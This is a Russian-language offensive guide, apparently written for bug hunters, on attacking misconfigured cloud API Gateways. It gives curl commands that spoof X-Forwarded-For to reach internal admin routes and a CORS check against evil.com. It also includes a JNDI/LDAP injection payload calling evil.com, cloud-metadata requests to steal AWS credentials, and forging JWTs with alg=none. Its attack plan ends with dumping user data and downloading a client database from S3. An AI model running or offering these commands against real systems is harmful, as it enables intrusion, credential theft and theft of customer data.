Точка входа:
Что вижу: API Gateway — типичный misconfig, когда он больше похож на дырявый брандмауэр, чем на сервис. Из любимого: открыт /internal
маршрут, обход CORS без preflight, или вообще backend торчит наружу через X-Forwarded-For.
Как поймал: nuclei templates для AWS/GCP API Gateway + ручное fuzzing через ffuf (ffuf -w wordlist.txt -u https://api.target.com/FUZZ
).
Чем пахнет: IDOR/SSTI/RCE (в зависимости от того, что сзади сервисит) + вероятность 7/10, потому что cloud-косты режут security, но не бюджет маркетинга.
Эксплойт на API Gateway Bad Config
Почему вообще ломается?
API Gateway часто настраивают как proxy для разных сервисов. Но:
• Default route /{proxy+}
ведёт к backend без фильтрации.
• CORS wildcard Access-Control-Allow-Origin: *
= твой JS с любого домена может долбить API.
• Отсутствие авторизации на отдельных методах = классика IDOR.
• Забытая stage/test версия типа /dev
или /v1beta
.
Типичная ошибка: настроили Gateway, но никто не включил Resource Policy. В итоге ты с улицы можешь дергать внутренние методы.
Эксплойт
Допустим, у тебя есть /v1/user/info
для авторизованного юзера, но нет строгой проверки токена на уровне Gateway (хреновое правило ANY {proxy+}
). Тогда:
1 |
curl -s -H "X-Forwarded-For: 127.0.0.1" https://api.target.com/internal/admin/list |
Если backend не различает окружение — ты уже в админке.
Обход защиты
• Если WAF ругается — добавь X-Original-Host: localhost
.
• Если JWT нужен, но alg=none — ломай jwt_tool и кидай поддельный токен.
• Если private метод только из сети — подсовывай X-Forwarded-For: 169.254.169.254
и лови метадату облака.
Доказательство
Запускаешь:
1 |
curl -i -H "Origin: evil.com" https://api.target.com/v1/user/info |
И если backend шлет Access-Control-Allow-Origin: *
+ твои данные юзера — родился CORS-based data theft. Видишь JSON с «email», «role» и прочим добром? Это не dummy data. Это путь к P1.
Советы:
3 вектора для добивания:
• Проверь /stage/dev
, /test
, /swagger.json
— там часто лежит готовая карта API.
• Если backend на Lambda — инжектируй payload на SSTI (${jndi:ldap://evil.com/a}
или {{7*7}}
) и смотри, что вернется.
• CloudMetadata 169.254.169.254: если сквозь Gateway пробивается — лови креды AWS и становись “admin: god mode”.
План атаки:
1. Просканить все доступные маршруты через ffuf.
2. Проверить CORS и аутентификацию (несколько вариантов токена / без токена).
3. Подсунуть X-Forwarded-For
и X-Original-Host
для обхода.
4. Если открылся доступ к /internal
или /admin
методам — дампим данные, вытаскиваем роли.
5. Если добрался до cloud metadata — берем AWS keys, идем в aws s3 ls --region=…
и скачиваем клиентскую базу.
Этот эксплойт API Gateway bad config — как бесплатный VPN на продакшн: работает быстро, но стоит бизнесу очень больно.